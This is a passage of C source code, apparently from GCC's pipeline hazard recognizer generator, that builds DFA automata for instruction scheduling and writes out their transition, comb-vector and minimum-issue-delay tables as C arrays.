description->units_num; i++) { rest_units_num = description->units_num - i + 1; gcc_assert (automata_num - automaton_num - 1 <= rest_units_num); if (automaton_num < automata_num - 1 && ((automata_num - automaton_num - 1 == rest_units_num) || (bound_value > (estimation_bound / unit_decls[i]->max_occ_cycle_num)))) { bound_value = unit_decls[i]->max_occ_cycle_num; automaton_num++; } else bound_value *= unit_decls[i]->max_occ_cycle_num; unit_decls[i]->corresponding_automaton_num = automaton_num; } gcc_assert (automaton_num == automata_num - 1); free (unit_decls); } /* The functions creates automaton insns for each automata. Automaton insn is simply insn for given automaton which makes reservation only of units of the automaton. */ static ainsn_t create_ainsns (void) { decl_t decl; ainsn_t first_ainsn; ainsn_t curr_ainsn; ainsn_t prev_ainsn; int i; first_ainsn = NULL; prev_ainsn = NULL; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_insn_reserv) { curr_ainsn = XCREATENODE (struct ainsn); curr_ainsn->insn_reserv_decl = DECL_INSN_RESERV (decl); curr_ainsn->important_p = FALSE; curr_ainsn->next_ainsn = NULL; if (prev_ainsn == NULL) first_ainsn = curr_ainsn; else prev_ainsn->next_ainsn = curr_ainsn; prev_ainsn = curr_ainsn; } } return first_ainsn; } /* The function assigns automata to units according to constructions `define_automaton' in the description. */ static void units_to_automata_distr (void) { decl_t decl; int i; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_unit) { if (DECL_UNIT (decl)->automaton_decl == NULL || (DECL_UNIT (decl)->automaton_decl->corresponding_automaton == NULL)) /* Distribute to the first automaton. */ DECL_UNIT (decl)->corresponding_automaton_num = 0; else DECL_UNIT (decl)->corresponding_automaton_num = (DECL_UNIT (decl)->automaton_decl ->corresponding_automaton->automaton_order_num); } } } /* The function creates DFA(s) for fast pipeline hazards recognition after checking and simplifying IR of the description. */ static void create_automata (void) { automaton_t curr_automaton; automaton_t prev_automaton; decl_t decl; int curr_automaton_num; int i; if (automata_num != 0) { units_to_automata_heuristic_distr (); for (prev_automaton = NULL, curr_automaton_num = 0; curr_automaton_num < automata_num; curr_automaton_num++, prev_automaton = curr_automaton) { curr_automaton = XCREATENODE (struct automaton); curr_automaton->ainsn_list = create_ainsns (); curr_automaton->corresponding_automaton_decl = NULL; curr_automaton->next_automaton = NULL; curr_automaton->automaton_order_num = curr_automaton_num; if (prev_automaton == NULL) description->first_automaton = curr_automaton; else prev_automaton->next_automaton = curr_automaton; } } else { curr_automaton_num = 0; prev_automaton = NULL; for (i = 0; i < description->decls_num; i++) { decl = description->decls [i]; if (decl->mode == dm_automaton && DECL_AUTOMATON (decl)->automaton_is_used) { curr_automaton = XCREATENODE (struct automaton); curr_automaton->ainsn_list = create_ainsns (); curr_automaton->corresponding_automaton_decl = DECL_AUTOMATON (decl); curr_automaton->next_automaton = NULL; DECL_AUTOMATON (decl)->corresponding_automaton = curr_automaton; curr_automaton->automaton_order_num = curr_automaton_num; if (prev_automaton == NULL) description->first_automaton = curr_automaton; else prev_automaton->next_automaton = curr_automaton; curr_automaton_num++; prev_automaton = curr_automaton; } } if (curr_automaton_num == 0) { curr_automaton = XCREATENODE (struct automaton); curr_automaton->ainsn_list = create_ainsns (); curr_automaton->corresponding_automaton_decl = NULL; curr_automaton->next_automaton = NULL; description->first_automaton = curr_automaton; } units_to_automata_distr (); } NDFA_time = create_ticker (); ticker_off (&NDFA_time); NDFA_to_DFA_time = create_ticker (); ticker_off (&NDFA_to_DFA_time); minimize_time = create_ticker (); ticker_off (&minimize_time); equiv_time = create_ticker (); ticker_off (&equiv_time); for (curr_automaton = description->first_automaton; curr_automaton != NULL; curr_automaton = curr_automaton->next_automaton) { if (progress_flag) { if (curr_automaton->corresponding_automaton_decl == NULL) fprintf (stderr, "Prepare anonymous automaton creation ... "); else fprintf (stderr, "Prepare automaton `%s' creation...", curr_automaton->corresponding_automaton_decl->name); } create_alt_states (curr_automaton); form_ainsn_with_same_reservs (curr_automaton); if (progress_flag) fprintf (stderr, "done\n"); build_automaton (curr_automaton); enumerate_states (curr_automaton); ticker_on (&equiv_time); set_insn_equiv_classes (curr_automaton); ticker_off (&equiv_time); } } /* This page contains code for forming string representation of regexp. The representation is formed on IR obstack. So you should not work with IR obstack between regexp_representation and finish_regexp_representation calls. */ /* This recursive function forms string representation of regexp (without tailing '\0'). */ static void form_regexp (regexp_t regexp) { int i; switch (regexp->mode) { case rm_unit: case rm_reserv: { const char *name = (regexp->mode == rm_unit ? REGEXP_UNIT (regexp)->name : REGEXP_RESERV (regexp)->name); obstack_grow (&irp, name, strlen (name)); break; } case rm_sequence: for (i = 0; i < REGEXP_SEQUENCE (regexp)->regexps_num; i++) { if (i != 0) obstack_1grow (&irp, ','); form_regexp (REGEXP_SEQUENCE (regexp)->regexps [i]); } break; case rm_allof: obstack_1grow (&irp, '('); for (i = 0; i < REGEXP_ALLOF (regexp)->regexps_num; i++) { if (i != 0) obstack_1grow (&irp, '+'); if (REGEXP_ALLOF (regexp)->regexps[i]->mode == rm_sequence || REGEXP_ALLOF (regexp)->regexps[i]->mode == rm_oneof) obstack_1grow (&irp, '('); form_regexp (REGEXP_ALLOF (regexp)->regexps [i]); if (REGEXP_ALLOF (regexp)->regexps[i]->mode == rm_sequence || REGEXP_ALLOF (regexp)->regexps[i]->mode == rm_oneof) obstack_1grow (&irp, ')'); } obstack_1grow (&irp, ')'); break; case rm_oneof: for (i = 0; i < REGEXP_ONEOF (regexp)->regexps_num; i++) { if (i != 0) obstack_1grow (&irp, '|'); if (REGEXP_ONEOF (regexp)->regexps[i]->mode == rm_sequence) obstack_1grow (&irp, '('); form_regexp (REGEXP_ONEOF (regexp)->regexps [i]); if (REGEXP_ONEOF (regexp)->regexps[i]->mode == rm_sequence) obstack_1grow (&irp, ')'); } break; case rm_repeat: { char digits [30]; if (REGEXP_REPEAT (regexp)->regexp->mode == rm_sequence || REGEXP_REPEAT (regexp)->regexp->mode == rm_allof || REGEXP_REPEAT (regexp)->regexp->mode == rm_oneof) obstack_1grow (&irp, '('); form_regexp (REGEXP_REPEAT (regexp)->regexp); if (REGEXP_REPEAT (regexp)->regexp->mode == rm_sequence || REGEXP_REPEAT (regexp)->regexp->mode == rm_allof || REGEXP_REPEAT (regexp)->regexp->mode == rm_oneof) obstack_1grow (&irp, ')'); sprintf (digits, "*%d", REGEXP_REPEAT (regexp)->repeat_num); obstack_grow (&irp, digits, strlen (digits)); break; } case rm_nothing: obstack_grow (&irp, NOTHING_NAME, strlen (NOTHING_NAME)); break; default: gcc_unreachable (); } } /* The function returns string representation of REGEXP on IR obstack. */ static const char * regexp_representation (regexp_t regexp) { form_regexp (regexp); obstack_1grow (&irp, '\0'); return obstack_base (&irp); } /* The function frees memory allocated for last formed string representation of regexp. */ static void finish_regexp_representation (void) { int length = obstack_object_size (&irp); obstack_blank_fast (&irp, -length); } /* This page contains code for output PHR (pipeline hazards recognizer). */ /* The function outputs minimal C type which is sufficient for representation numbers in range min_range_value and max_range_value. Because host machine and build machine may be different, we use here minimal values required by ANSI C standard instead of UCHAR_MAX, SHRT_MAX, SHRT_MIN, etc. This is a good approximation. */ static void output_range_type (FILE *f, long int min_range_value, long int max_range_value) { if (min_range_value >= 0 && max_range_value <= 255) fprintf (f, "unsigned char"); else if (min_range_value >= -127 && max_range_value <= 127) fprintf (f, "signed char"); else if (min_range_value >= 0 && max_range_value <= 65535) fprintf (f, "unsigned short"); else if (min_range_value >= -32767 && max_range_value <= 32767) fprintf (f, "short"); else fprintf (f, "int"); } /* The function outputs all initialization values of VECT. */ static void output_vect (vla_hwint_t vect) { int els_on_line; size_t vect_length = VEC_length (vect_el_t, vect); size_t i; els_on_line = 1; if (vect_length == 0) fputs ("0 /* This is dummy el because the vect is empty */", output_file); else for (i = 0; i < vect_length; i++) { fprintf (output_file, "%5ld", (long) VEC_index (vect_el_t, vect, i)); if (els_on_line == 10) { els_on_line = 0; fputs (",\n", output_file); } else if (i < vect_length-1) fputs (", ", output_file); els_on_line++; } } /* The following is name of the structure which represents DFA(s) for PHR. */ #define CHIP_NAME "DFA_chip" /* The following is name of member which represents state of a DFA for PHR. */ static void output_chip_member_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "automaton_state_%d", automaton->automaton_order_num); else fprintf (f, "%s_automaton_state", automaton->corresponding_automaton_decl->name); } /* The following is name of temporary variable which stores state of a DFA for PHR. */ static void output_temp_chip_member_name (FILE *f, automaton_t automaton) { fprintf (f, "_"); output_chip_member_name (f, automaton); } /* This is name of macro value which is code of pseudo_insn representing advancing cpu cycle. Its value is used as internal code unknown insn. */ #define ADVANCE_CYCLE_VALUE_NAME "DFA__ADVANCE_CYCLE" /* Output name of translate vector for given automaton. */ static void output_translate_vect_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "translate_%d", automaton->automaton_order_num); else fprintf (f, "%s_translate", automaton->corresponding_automaton_decl->name); } /* Output name for simple transition table representation. */ static void output_trans_full_vect_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "transitions_%d", automaton->automaton_order_num); else fprintf (f, "%s_transitions", automaton->corresponding_automaton_decl->name); } /* Output name of comb vector of the transition table for given automaton. */ static void output_trans_comb_vect_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "transitions_%d", automaton->automaton_order_num); else fprintf (f, "%s_transitions", automaton->corresponding_automaton_decl->name); } /* Output name of check vector of the transition table for given automaton. */ static void output_trans_check_vect_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "check_%d", automaton->automaton_order_num); else fprintf (f, "%s_check", automaton->corresponding_automaton_decl->name); } /* Output name of base vector of the transition table for given automaton. */ static void output_trans_base_vect_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "base_%d", automaton->automaton_order_num); else fprintf (f, "%s_base", automaton->corresponding_automaton_decl->name); } /* Output name of simple min issue delay table representation. */ static void output_min_issue_delay_vect_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "min_issue_delay_%d", automaton->automaton_order_num); else fprintf (f, "%s_min_issue_delay", automaton->corresponding_automaton_decl->name); } /* Output name of deadlock vector for given automaton. */ static void output_dead_lock_vect_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "dead_lock_%d", automaton->automaton_order_num); else fprintf (f, "%s_dead_lock", automaton->corresponding_automaton_decl->name); } /* Output name of reserved units table for AUTOMATON into file F. */ static void output_reserved_units_table_name (FILE *f, automaton_t automaton) { if (automaton->corresponding_automaton_decl == NULL) fprintf (f, "reserved_units_%d", automaton->automaton_order_num); else fprintf (f, "%s_reserved_units", automaton->corresponding_automaton_decl->name); } /* Name of the PHR interface macro. */ #define CPU_UNITS_QUERY_MACRO_NAME "CPU_UNITS_QUERY" /* Names of an internal functions: */ #define INTERNAL_MIN_ISSUE_DELAY_FUNC_NAME "internal_min_issue_delay" /* This is external type of DFA(s) state. */ #define STATE_TYPE_NAME "state_t" #define INTERNAL_TRANSITION_FUNC_NAME "internal_state_transition" #define INTERNAL_RESET_FUNC_NAME "internal_reset" #define INTERNAL_DEAD_LOCK_FUNC_NAME "internal_state_dead_lock_p" #define INTERNAL_INSN_LATENCY_FUNC_NAME "internal_insn_latency" /* Name of cache of insn dfa codes. */ #define DFA_INSN_CODES_VARIABLE_NAME "dfa_insn_codes" /* Name of length of cache of insn dfa codes. */ #define DFA_INSN_CODES_LENGTH_VARIABLE_NAME "dfa_insn_codes_length" /* Names of the PHR interface functions: */ #define SIZE_FUNC_NAME "state_size" #define TRANSITION_FUNC_NAME "state_transition" #define MIN_ISSUE_DELAY_FUNC_NAME "min_issue_delay" #define MIN_INSN_CONFLICT_DELAY_FUNC_NAME "min_insn_conflict_delay" #define DEAD_LOCK_FUNC_NAME "state_dead_lock_p" #define RESET_FUNC_NAME "state_reset" #define INSN_LATENCY_FUNC_NAME "insn_latency" #define PRINT_RESERVATION_FUNC_NAME "print_reservation" #define GET_CPU_UNIT_CODE_FUNC_NAME "get_cpu_unit_code" #define CPU_UNIT_RESERVATION_P_FUNC_NAME "cpu_unit_reservation_p" #define INSN_HAS_DFA_RESERVATION_P_FUNC_NAME "insn_has_dfa_reservation_p" #define DFA_CLEAN_INSN_CACHE_FUNC_NAME "dfa_clean_insn_cache" #define DFA_CLEAR_SINGLE_INSN_CACHE_FUNC_NAME "dfa_clear_single_insn_cache" #define DFA_START_FUNC_NAME "dfa_start" #define DFA_FINISH_FUNC_NAME "dfa_finish" /* Names of parameters of the PHR interface functions. */ #define STATE_NAME "state" #define INSN_PARAMETER_NAME "insn" #define INSN2_PARAMETER_NAME "insn2" #define CHIP_PARAMETER_NAME "chip" #define FILE_PARAMETER_NAME "f" #define CPU_UNIT_NAME_PARAMETER_NAME "cpu_unit_name" #define CPU_CODE_PARAMETER_NAME "cpu_unit_code" /* Names of the variables whose values are internal insn code of rtx insn. */ #define INTERNAL_INSN_CODE_NAME "insn_code" #define INTERNAL_INSN2_CODE_NAME "insn2_code" /* Names of temporary variables in some functions. */ #define TEMPORARY_VARIABLE_NAME "temp" #define I_VARIABLE_NAME "i" /* Name of result variable in some functions. */ #define RESULT_VARIABLE_NAME "res" /* Name of function (attribute) to translate insn into internal insn code. */ #define INTERNAL_DFA_INSN_CODE_FUNC_NAME "internal_dfa_insn_code" /* Name of function (attribute) to translate insn into internal insn code with caching. */ #define DFA_INSN_CODE_FUNC_NAME "dfa_insn_code" /* Output C type which is used for representation of codes of states of AUTOMATON. */ static void output_state_member_type (FILE *f, automaton_t automaton) { output_range_type (f, 0, automaton->achieved_states_num); } /* Output definition of the structure representing current DFA(s) state(s). */ static void output_chip_definitions (void) { automaton_t automaton; fprintf (output_file, "struct %s\n{\n", CHIP_NAME); for (automaton = description->first_automaton; automaton != NULL; automaton = automaton->next_automaton) { fprintf (output_file, " "); output_state_member_type (output_file, automaton); fprintf (output_file, " "); output_chip_member_name (output_file, automaton); fprintf (output_file, ";\n"); } fprintf (output_file, "};\n\n"); #if 0 fprintf (output_file, "static struct %s %s;\n\n", CHIP_NAME, CHIP_NAME); #endif } /* The function outputs translate vector of internal insn code into insn equivalence class number. The equivalence class number is used to access to table and vectors representing DFA(s). */ static void output_translate_vect (automaton_t automaton) { ainsn_t ainsn; int insn_value; vla_hwint_t translate_vect; translate_vect = VEC_alloc (vect_el_t,heap, description->insns_num); for (insn_value = 0; insn_value < description->insns_num; insn_value++) /* Undefined value */ VEC_quick_push (vect_el_t, translate_vect, automaton->insn_equiv_classes_num); for (ainsn = automaton->ainsn_list; ainsn != NULL; ainsn = ainsn->next_ainsn) VEC_replace (vect_el_t, translate_vect, ainsn->insn_reserv_decl->insn_num, ainsn->insn_equiv_class_num); fprintf (output_file, "/* Vector translating external insn codes to internal ones.*/\n"); fprintf (output_file, "static const "); output_range_type (output_file, 0, automaton->insn_equiv_classes_num); fprintf (output_file, " "); output_translate_vect_name (output_file, automaton); fprintf (output_file, "[] ATTRIBUTE_UNUSED = {\n"); output_vect (translate_vect); fprintf (output_file, "};\n\n"); VEC_free (vect_el_t,heap, translate_vect); } /* The value in a table state x ainsn -> something which represents undefined value. */ static int undefined_vect_el_value; /* The following function returns nonzero value if the best representation of the table is comb vector. */ static int comb_vect_p (state_ainsn_table_t tab) { return (2 * VEC_length (vect_el_t, tab->full_vect) > 5 * VEC_length (vect_el_t, tab->comb_vect)); } /* The following function creates new table for AUTOMATON. */ static state_ainsn_table_t create_state_ainsn_table (automaton_t automaton) { state_ainsn_table_t tab; int full_vect_length; int i; tab = XCREATENODE (struct state_ainsn_table); tab->automaton = automaton; tab->comb_vect = VEC_alloc (vect_el_t,heap, 10000); tab->check_vect = VEC_alloc (vect_el_t,heap, 10000); tab->base_vect = 0; VEC_safe_grow (vect_el_t,heap, tab->base_vect, automaton->achieved_states_num); full_vect_length = (automaton->insn_equiv_classes_num * automaton->achieved_states_num); tab->full_vect = VEC_alloc (vect_el_t,heap, full_vect_length); for (i = 0; i < full_vect_length; i++) VEC_quick_push (vect_el_t, tab->full_vect, undefined_vect_el_value); tab->min_base_vect_el_value = 0; tab->max_base_vect_el_value = 0; tab->min_comb_vect_el_value = 0; tab->max_comb_vect_el_value = 0; return tab; } /* The following function outputs the best C representation of the table TAB of given TABLE_NAME. */ static void output_state_ainsn_table (state_ainsn_table_t tab, const char *table_name, void (*output_full_vect_name_func) (FILE *, automaton_t), void (*output_comb_vect_name_func) (FILE *, automaton_t), void (*output_check_vect_name_func) (FILE *, automaton_t), void (*output_base_vect_name_func) (FILE *, automaton_t)) { if (!comb_vect_p (tab)) { fprintf (output_file, "/* Vector for %s. */\n", table_name); fprintf (output_file, "static const "); output_range_type (output_file, tab->min_comb_vect_el_value, tab->max_comb_vect_el_value); fprintf (output_file, " "); (*output_full_vect_name_func) (output_file, tab->automaton); fprintf (output_file, "[] ATTRIBUTE_UNUSED = {\n"); output_vect (tab->full_vect); fprintf (output_file, "};\n\n"); } else { fprintf (output_file, "/* Comb vector for %s. */\n", table_name); fprintf (output_file, "static const "); output_range_type (output_file, tab->min_comb_vect_el_value, tab->max_comb_vect_el_value); fprintf (output_file, " "); (*output_comb_vect_name_func) (output_file, tab->automaton); fprintf (output_file, "[] ATTRIBUTE_UNUSED = {\n"); output_vect (tab->comb_vect); fprintf (output_file, "};\n\n"); fprintf (output_file, "/* Check vector for %s. */\n", table_name); fprintf (output_file, "static const "); output_range_type (output_file, 0, tab->automaton->achieved_states_num); fprintf (output_file, " "); (*output_check_vect_name_func) (output_file, tab->automaton); fprintf (output_file, "[] = {\n"); output_vect (tab->check_vect); fprintf (output_file, "};\n\n"); fprintf (output_file, "/* Base vector for %s. */\n", table_name); fprintf (output_file, "static const "); output_range_type (output_file, tab->min_base_vect_el_value, tab->max_base_vect_el_value); fprintf (output_file, " "); (*output_base_vect_name_func) (output_file, tab->automaton); fprintf (output_file, "[] = {\n"); output_vect (tab->base_vect); fprintf (output_file, "};\n\n"); } } /* The following function adds vector VECT to table TAB as its line with number VECT_NUM. */ static void add_vect (state_ainsn_table_t tab, int vect_num, vla_hwint_t vect) { int vect_length; size_t real_vect_length; int comb_vect_index; int comb_vect_els_num; int vect_index; int first_unempty_vect_index; int additional_els_num; int no_state_value; vect_el_t vect_el; int i; unsigned long vect_mask, comb_vect_mask; vect_length = VEC_length (vect_el_t, vect); gcc_assert (vect_length); gcc_assert (VEC_last (vect_el_t, vect) != undefined_vect_el_value); real_vect_length = tab->automaton->insn_equiv_classes_num; /* Form full vector in the table: */ { size_t full_base = tab->automaton->insn_equiv_classes_num * vect_num; if (VEC_length (vect_el_t, tab->full_vect) < full_base + vect_length) VEC_safe_grow (vect_el_t,heap, tab->full_vect, full_base + vect_length); for (i = 0; i < vect_length; i++) VEC_replace (vect_el_t, tab->full_vect, full_base + i, VEC_index (vect_el_t, vect, i)); } /* Form comb vector in the table: */ gcc_assert (VEC_length (vect_el_t, tab->comb_vect) == VEC_length (vect_el_t, tab->check_vect)); comb_vect_els_num = VEC_length (vect_el_t, tab->comb_vect); for (first_unempty_vect_index = 0; first_unempty_vect_index < vect_length; first_unempty_vect_index++) if (VEC_index (vect_el_t, vect, first_unempty_vect_index) != undefined_vect_el_value) break; /* Search for the place in comb vect for the inserted vect. */ /* Slow case. */ if (vect_length - first_unempty_vect_index >= SIZEOF_LONG * CHAR_BIT) { for (comb_vect_index = 0; comb_vect_index < comb_vect_els_num; comb_vect_index++) { for (vect_index = first_unempty_vect_index; vect_index < vect_length && vect_index + comb_vect_index < comb_vect_els_num; vect_index++) if (VEC_index (vect_el_t, vect, vect_index) != undefined_vect_el_value && (VEC_index (vect_el_t, tab->comb_vect, vect_index + comb_vect_index) != undefined_vect_el_value)) break; if (vect_index >= vect_length || vect_index + comb_vect_index >= comb_vect_els_num) break; } goto found; } /* Fast case. */ vect_mask = 0; for (vect_index = first_unempty_vect_index; vect_index < vect_length; vect_index++) { vect_mask = vect_mask << 1; if (VEC_index (vect_el_t, vect, vect_index) != undefined_vect_el_value) vect_mask |= 1; } /* Search for the place in comb vect for the inserted vect. */ comb_vect_index = 0; if (comb_vect_els_num == 0) goto found; comb_vect_mask = 0; for (vect_index = first_unempty_vect_index; vect_index < vect_length && vect_index < comb_vect_els_num; vect_index++) { comb_vect_mask <<= 1; if (vect_index + comb_vect_index < comb_vect_els_num && VEC_index (vect_el_t, tab->comb_vect, vect_index + comb_vect_index) != undefined_vect_el_value) comb_vect_mask |= 1; } if ((vect_mask & comb_vect_mask) == 0) goto found; for (comb_vect_index = 1, i = vect_length; i < comb_vect_els_num; comb_vect_index++, i++) { comb_vect_mask = (comb_vect_mask << 1) | 1; comb_vect_mask ^= (VEC_index (vect_el_t, tab->comb_vect, i) == undefined_vect_el_value); if ((vect_mask & comb_vect_mask) == 0) goto found; } for ( ; comb_vect_index < comb_vect_els_num; comb_vect_index++) { comb_vect_mask <<= 1; if ((vect_mask & comb_vect_mask) == 0) goto found; } found: /* Slot was found. */ additional_els_num = comb_vect_index + real_vect_length - comb_vect_els_num; if (additional_els_num < 0) additional_els_num = 0; /* Expand comb and check vectors. */ vect_el = undefined_vect_el_value; no_state_value = tab->automaton->achieved_states_num; while (additional_els_num > 0) { VEC_safe_push (vect_el_t,heap, tab->comb_vect, vect_el); VEC_safe_push (vect_el_t,heap, tab->check_vect, no_state_value); additional_els_num--; } gcc_assert (VEC_length (vect_el_t, tab->comb_vect) >= comb_vect_index + real_vect_length); /* Fill comb and check vectors. */ for (vect_index = 0; vect_index < vect_length; vect_index++) if (VEC_index (vect_el_t, vect, vect_index) != undefined_vect_el_value) { vect_el_t x = VEC_index (vect_el_t, vect, vect_index); gcc_assert (VEC_index (vect_el_t, tab->comb_vect, comb_vect_index + vect_index) == undefined_vect_el_value); gcc_assert (x >= 0); if (tab->max_comb_vect_el_value < x) tab->max_comb_vect_el_value = x; if (tab->min_comb_vect_el_value > x) tab->min_comb_vect_el_value = x; VEC_replace (vect_el_t, tab->comb_vect, comb_vect_index + vect_index, x); VEC_replace (vect_el_t, tab->check_vect, comb_vect_index + vect_index, vect_num); } if (tab->max_comb_vect_el_value < undefined_vect_el_value) tab->max_comb_vect_el_value = undefined_vect_el_value; if (tab->min_comb_vect_el_value > undefined_vect_el_value) tab->min_comb_vect_el_value = undefined_vect_el_value; if (tab->max_base_vect_el_value < comb_vect_index) tab->max_base_vect_el_value = comb_vect_index; if (tab->min_base_vect_el_value > comb_vect_index) tab->min_base_vect_el_value = comb_vect_index; VEC_replace (vect_el_t, tab->base_vect, vect_num, comb_vect_index); } /* Return number of out arcs of STATE. */ static int out_state_arcs_num (const_state_t state) { int result; arc_t arc; result = 0; for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) { gcc_assert (arc->insn); if (arc->insn->first_ainsn_with_given_equivalence_num) result++; } return result; } /* Compare number of possible transitions from the states. */ static int compare_transition_els_num (const void *state_ptr_1, const void *state_ptr_2) { const int transition_els_num_1 = out_state_arcs_num (*(const_state_t const*) state_ptr_1); const int transition_els_num_2 = out_state_arcs_num (*(const_state_t const*) state_ptr_2); if (transition_els_num_1 < transition_els_num_2) return 1; else if (transition_els_num_1 == transition_els_num_2) return 0; else return -1; } /* The function adds element EL_VALUE to vector VECT for a table state x AINSN. */ static void add_vect_el (vla_hwint_t *vect, ainsn_t ainsn, int el_value) { int equiv_class_num; int vect_index; gcc_assert (ainsn); equiv_class_num = ainsn->insn_equiv_class_num; for (vect_index = VEC_length (vect_el_t, *vect); vect_index <= equiv_class_num; vect_index++) VEC_safe_push (vect_el_t,heap, *vect, undefined_vect_el_value); VEC_replace (vect_el_t, *vect, equiv_class_num, el_value); } /* This is for forming vector of states of an automaton. */ static VEC(state_t,heap) *output_states_vect; /* The function is called by function pass_states. The function adds STATE to `output_states_vect'. */ static void add_states_vect_el (state_t state) { VEC_safe_push (state_t,heap, output_states_vect, state); } /* Form and output vectors (comb, check, base or full vector) representing transition table of AUTOMATON. */ static void output_trans_table (automaton_t automaton) { size_t i; arc_t arc; vla_hwint_t transition_vect = 0; undefined_vect_el_value = automaton->achieved_states_num; automaton->trans_table = create_state_ainsn_table (automaton); /* Create vect of pointers to states ordered by num of transitions from the state (state with the maximum num is the first). */ output_states_vect = 0; pass_states (automaton, add_states_vect_el); qsort (VEC_address (state_t, output_states_vect), VEC_length (state_t, output_states_vect), sizeof (state_t), compare_transition_els_num); for (i = 0; i < VEC_length (state_t, output_states_vect); i++) { VEC_truncate (vect_el_t, transition_vect, 0); for (arc = first_out_arc (VEC_index (state_t, output_states_vect, i)); arc != NULL; arc = next_out_arc (arc)) { gcc_assert (arc->insn); if (arc->insn->first_ainsn_with_given_equivalence_num) add_vect_el (&transition_vect, arc->insn, arc->to_state->order_state_num); } add_vect (automaton->trans_table, VEC_index (state_t, output_states_vect, i)->order_state_num, transition_vect); } output_state_ainsn_table (automaton->trans_table, "state transitions", output_trans_full_vect_name, output_trans_comb_vect_name, output_trans_check_vect_name, output_trans_base_vect_name); VEC_free (state_t,heap, output_states_vect); VEC_free (vect_el_t,heap, transition_vect); } /* The current number of passing states to find minimal issue delay value for an ainsn and state. */ static int curr_state_pass_num; /* This recursive function passes states to find minimal issue delay value for AINSN. The state being visited is STATE. The function returns minimal issue delay value for AINSN in STATE or -1 if we enter into a loop. */ static int min_issue_delay_pass_states (state_t state, ainsn_t ainsn) { arc_t arc; int min_insn_issue_delay, insn_issue_delay; if (state->state_pass_num == curr_state_pass_num || state->min_insn_issue_delay != -1) /* We've entered into a loop or already have the correct value for given state and ainsn. */ return state->min_insn_issue_delay; state->state_pass_num = curr_state_pass_num; min_insn_issue_delay = -1; for (arc = first_out_arc (state); arc != NULL; arc = next_out_arc (arc)) if (arc->insn == ainsn) { min_insn_issue_delay = 0; break; } else { insn_issue_delay = min_issue_delay_pass_states (arc->to_state, ainsn); if (insn_issue_delay != -1) { if (arc->insn->insn_reserv_decl == DECL_INSN_RESERV (advance_cycle_insn_decl)) insn_issue_delay++; if (min_insn_issue_delay == -1 || min_insn_issue_delay > insn_issue_delay) { min_insn_issue_delay = insn_issue_delay; if (insn_issue_delay == 0) break; } } } return min_insn_issue_delay; } /* The function searches minimal issue delay value for AINSN in STATE. The function can return negative value if we can not issue AINSN. We will report about it later. */ static int min_issue_delay (state_t state, ainsn_t ainsn) { curr_state_pass_num++; state->min_insn_issue_delay = min_issue_delay_pass_states (state, ainsn); return state->min_insn_issue_delay; } /* The function initiates code for finding minimal issue delay values. It should be called only once. */ static void initiate_min_issue_delay_pass_states (void) { curr_state_pass_num = 0; } /* Form and output vectors representing minimal issue delay table of AUTOMATON. The table is state x ainsn -> minimal issue delay of the ainsn. */ static void output_min_issue_delay_table (automaton_t automaton) { vla_hwint_t min_issue_delay_vect; vla_hwint_t compressed_min_issue_delay_vect; vect_el_t min_delay; ainsn_t ainsn; size_t i, min_issue_delay_len; size_t compressed_min_issue_delay_len; size_t cfactor; /* Create vect of pointers to states ordered by num of transitions from the state (state with the maximum num is the first). */ output_states_vect = 0; pass_states (automaton, add_states_vect_el); min_issue_delay_len = (VEC_length (state_t, output_states_vect) * automaton->insn_equiv_classes_num); min_issue_delay_vect = VEC_alloc (vect_el_t,heap, min_issue_delay_len); for (i = 0; i < min_issue_delay_len; i++) VEC_quick_push (vect_el_t, min_issue_delay_vect, 0); automaton->max_min_delay = 0; for (ainsn = automaton->ainsn_list; ainsn != NULL; ainsn = ainsn->next_ainsn) if (ainsn->first_ainsn_with_given_equivalence_num) { for (i = 0; i < VEC_length (state_t, output_states_vect); i++) VEC_index (state_t, output_states_vect, i)->min_insn_issue_delay = -1; for (i = 0; i < VEC_length (state_t, output_states_vect); i++) { state_t s = VEC_index (state_t, output_states_vect, i); min_delay = min_issue_delay (s, ainsn); if (automaton->max_min_delay < min_delay) automaton->max_min_delay = min_delay; VEC_replace (vect_el_t, min_issue_delay_vect, s->order_state_num * automaton->insn_equiv_classes_num + ainsn->insn_equiv_class_num, min_delay); } } fprintf (output_file, "/* Vector of min issue delay of insns. */\n"); fprintf (output_file, "static const "); output_range_type (output_file, 0, automaton->max_min_delay); fprintf (output_file, " "); output_min_issue_delay_vect_name (output_file, automaton); fprintf (output_file, "[] ATTRIBUTE_UNUSED = {\n"); /* Compress the vector. */ if (automaton->max_min_delay < 2) cfactor = 8; else if (automaton->max_min_delay < 4) cfactor = 4; else if (automaton->max_min_delay < 16) cfactor = 2; else cfactor = 1; automaton->min_issue_delay_table_compression_factor = cfactor; compressed_min_issue_delay_len = (min_issue_delay_len+cfactor-1) / cfactor; compressed_min_issue_delay_vect = VEC_alloc (vect_el_t,heap, compressed_min_issue_delay_len); for (i = 0; i < compressed_min_issue_delay_len; i++) VEC_quick_push (vect_el_t, compressed_min_issue_delay_vect, 0); for (i = 0; i < min_issue_delay_len; i++) { size_t ci = i / cfactor; vect_el_t x = VEC_index (vect_el_t, min_issue_delay_vect, i); vect_el_t cx = VEC_index (vect_el_t, compressed_min_issue_delay_vect, ci); cx |= x << (8 - (i % cfactor + 1) * (8 / cfactor)); VEC_replace (vect_el_t, compressed_min_issue_delay_vect, ci, cx); } output_vect (compressed_min_issue_delay_vect); fprintf (output_file, "};\n\n"); VEC_free (state_t,heap, output_states_vect); VEC_free (vect_el_t,heap, min_issue_delay_vect); VEC_free (vect_el_t,heap, compressed_min_issue_delay_vect); } /* Form and output vector representing the locked states of AUTOMATON. */ static void output_dead_lock_vect (automaton_t automaton) { size_t i; arc_t arc; vla_hwint_t dead_lock_vect = 0; /* Create vect of pointers to states ordered by num of transitions from the state 